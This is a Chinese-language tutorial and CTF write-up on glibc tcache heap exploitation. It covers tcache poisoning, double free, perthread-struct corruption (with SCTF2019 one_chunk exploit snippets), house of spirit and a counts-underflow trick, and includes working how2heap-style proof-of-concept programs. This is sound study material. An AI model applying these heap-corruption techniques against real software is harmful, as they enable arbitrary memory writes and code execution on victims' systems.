Tcache Attack 总结

0x00

好像这个新版本的tcache安全性更差了,有得必有失

0x01 概览

在 tcache 中新增了两个结构体,分别是 tcache_entry 和 tcache_perthread_struct

其实这个next还是相当于chunk里的fd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct"). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread tcache_perthread_struct *tcache = NULL;

其中有两个重要的函数, tcache_get()tcache_put():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

static void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}

可以看出tcache_put会检测idx是不是在tcache的范围中,然后就没别检测了,也就是说我随便free一个chunk,不管之前是什么东西,都会直接添加到对应大小的tcache中。所以说可以连续free直接造成double free,太不安全了。。。。

tcache_get会检测idx在不在范围内,并且相应大小的tcache链中是否有空闲chunk,也并没有像fastbin中检测这个空闲chunksize和下一块chunkprev_size是不是一样。这伪造fake chunk就很简单呀。。。。

这两个函数会在函数 int_free 和 __libc_malloc 的开头被调用,其中 tcache_put 当所请求的分配大小不大于0x408并且当给定大小的 tcache bin 未满时调用。一个 tcache bin 中的最大块数mp.tcache_count是7。

1
2
3
4
/* This is another arbitrary limit, which tunables can change.  Each
tcache bin will hold at most this number of chunks. */
# define TCACHE_FILL_COUNT 7
#endif

free时,如果size < smallbin size:

  1. 会被放到对应size的tcache中,每个tcache默认最多储存7个.
  2. tcache存满之后,free便会存到fastbin或者unsortedbin.
  3. 被放入tcache的chunk不会取消其nextchunk的inuse bit,不会被合并。

malloc时,且size在tcache范围内。

  1. 先从tcache中取chunk,遵循FILO原则。直到对应size的tcache为空后才会从bin中找。
  2. tcache为空时,如果fastbin/smallbin/unsorted bin中有符合size的chunk,会先把它们放到tcache中,直到tcache满,然后再从tcache中取。因此chunk在bin中和tcache中的顺序相反。

0x02 利用

tcache poisoning

通过覆盖 tcache 中的 next,不需要伪造任何 chunk 结构即可实现 malloc 到任何地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main()
{
fprintf(stderr, "This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
"returning a pointer to an arbitrary location (in this case, the stack).\n"
"The attack is very similar to fastbin corruption attack.\n\n");

size_t stack_var;
fprintf(stderr, "The address we want malloc() to return is %p.\n", (char *)&stack_var);

fprintf(stderr, "Allocating 1 buffer.\n");
intptr_t *a = malloc(128);
fprintf(stderr, "malloc(128): %p\n", a);
fprintf(stderr, "Freeing the buffer...\n");
free(a);

fprintf(stderr, "Now the tcache list has [ %p ].\n", a);
fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
"to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var);
a[0] = (intptr_t)&stack_var;

fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);

intptr_t *b = malloc(128);
fprintf(stderr, "2nd malloc(128): %p\n", b);
fprintf(stderr, "We got the control\n");

return 0;
}

tcache dup

类似 fastbin dup,不过利用的是 tcache_put() 的不严谨

1
2
3
4
5
6
7
8
9
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

可以看出,tcache_put() 的检查也可以忽略不计(甚至没有对 tcache->counts[tc_idx] 的检查),大幅提高性能的同时安全性也下降了很多。
因为没有任何检查,所以我们可以对同一个 chunk 多次 free,造成 cycliced list。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file demonstrates a simple double-free attack with tcache.\n");

fprintf(stderr, "Allocating buffer.\n");
int *a = malloc(8);

fprintf(stderr, "malloc(8): %p\n", a);
fprintf(stderr, "Freeing twice...\n");
free(a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a);
fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].\n", malloc(8), malloc(8));

return 0;
}

如此直白明显的double free都不会引起crash,效率是增加了,但这真的安全性堪忧,只能依靠程序员的安全意识了,不过听说新版本的commit把这个安全性进行了加强。

tcache perthread corruption

我们已经知道 tcache_perthread_struct 是整个 tcache 的管理结构,如果能控制这个结构体,那么无论我们 malloc 的 size 是多少,地址都是可控的。

因为 tcache_prethread_struct 也在堆上,因此这种方法一般只需要 partial overwrite 就可以达到目的。

SCTF2019 one_chunk

1
2
3
4
5
6
7
8
9
10
11
New(0x68, '\n')
delete()
delete()

if(len(sys.argv) > 1):
value = hook1 + 0x10
New(0x68, p64(value)[:2] + '\n')
else:
New(0x68, '\x10\x10' + '\n')

New(0x68, '\n')

调试结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> tcachebins 
tcachebins
0x70 [ 0]: 0x557c58293010 ◂— 0x0
pwndbg> heap
0x557c58293000 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 593,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

之后 freetcache_perthread_struct,使其放入usorted bin,然后tcache上就会因为usorted bin的 分配而被写上main_arena的地址,在对main_arena的地址进行部分覆盖,实现控制_IO_2_1_stdout_

1
2
3
4
5
6
7
8
9
10
11
12
13
New(0x68, '\xFF' * 0x40 + '\n')  #这里就是把count弄满,使得下次free到unsortedbin
delete()

# pause()
New(0x48, '\xFF' * 0x40 + '\n')

if(len(sys.argv) > 1):
value = hook2 + libc.symbols['_IO_2_1_stdout_']
print(hex(value))

New(0x18, p64(value)[:2] + '\n')
else:
New(0x18, '\x60\x67' + '\n')

tcache house of spirit

拿 how2heap 的源码来讲:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack on tcache.\n");
fprintf(stderr, "It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n");
fprintf(stderr, "You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n");
fprintf(stderr, "(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n");

fprintf(stderr, "Ok. Let's start with the example!.\n\n");


fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);

fprintf(stderr, "Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n");
unsigned long long *a; //pointer that will be overwritten
unsigned long long fake_chunks[10]; //fake chunk region

fprintf(stderr, "This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);

fprintf(stderr, "This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size


fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");

a = &fake_chunks[2];

fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);

fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

攻击之后的目的是,去控制栈上的内容,malloc 一块 chunk ,然后我们通过在栈上 fake 的 chunk,然后去 free 掉他,我们会发现Tcache 里就存放了一块 栈上的内容,我们之后只需 malloc,就可以控制这块内存。

tcache的counts中存在的数据类型判断漏洞

counts定义为一个字符数组,记录每个tcache链中tcache的数量,在C语言中并没有char类型的常量(但是在C++中却有,字符常量都是char类型),其实是用int表示char,所以这个counts是一个有符号整型变量(-128~127)

在int_free函数中,把chunk放入tcache时,会判断待放入的tcache链是否小于mp_.tcache_count,一般为7

1
2
3
4
5
6

if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}

查看源码,tcache_count是一个size_t类型的变量,也就是无符号长整型,那么上述的判断就变为 char型的counts 是否小于unsigned long int型的tcache_count ,就会把counts变量转为无符号的长整型进行比较

如果此时的counts大小为-1(0xff),被转成无符号的长整型后就变成255(0xff),那么就会使上述判断失效,在tcache的counts变成-1后,就会将之后free的chunk,放入unsortedbin中

有什么用呢?

当我们double free一个chunk后,tcache会的得到一个自循环的链表,tcache的counts是2

连续申请两次后,counts会变成0

再申请一次后,发现其counts变成了0xff,此时再次free该chunk,chunk就会进入unsortedbin中

-------------本文结束感谢您的阅读-------------
+ +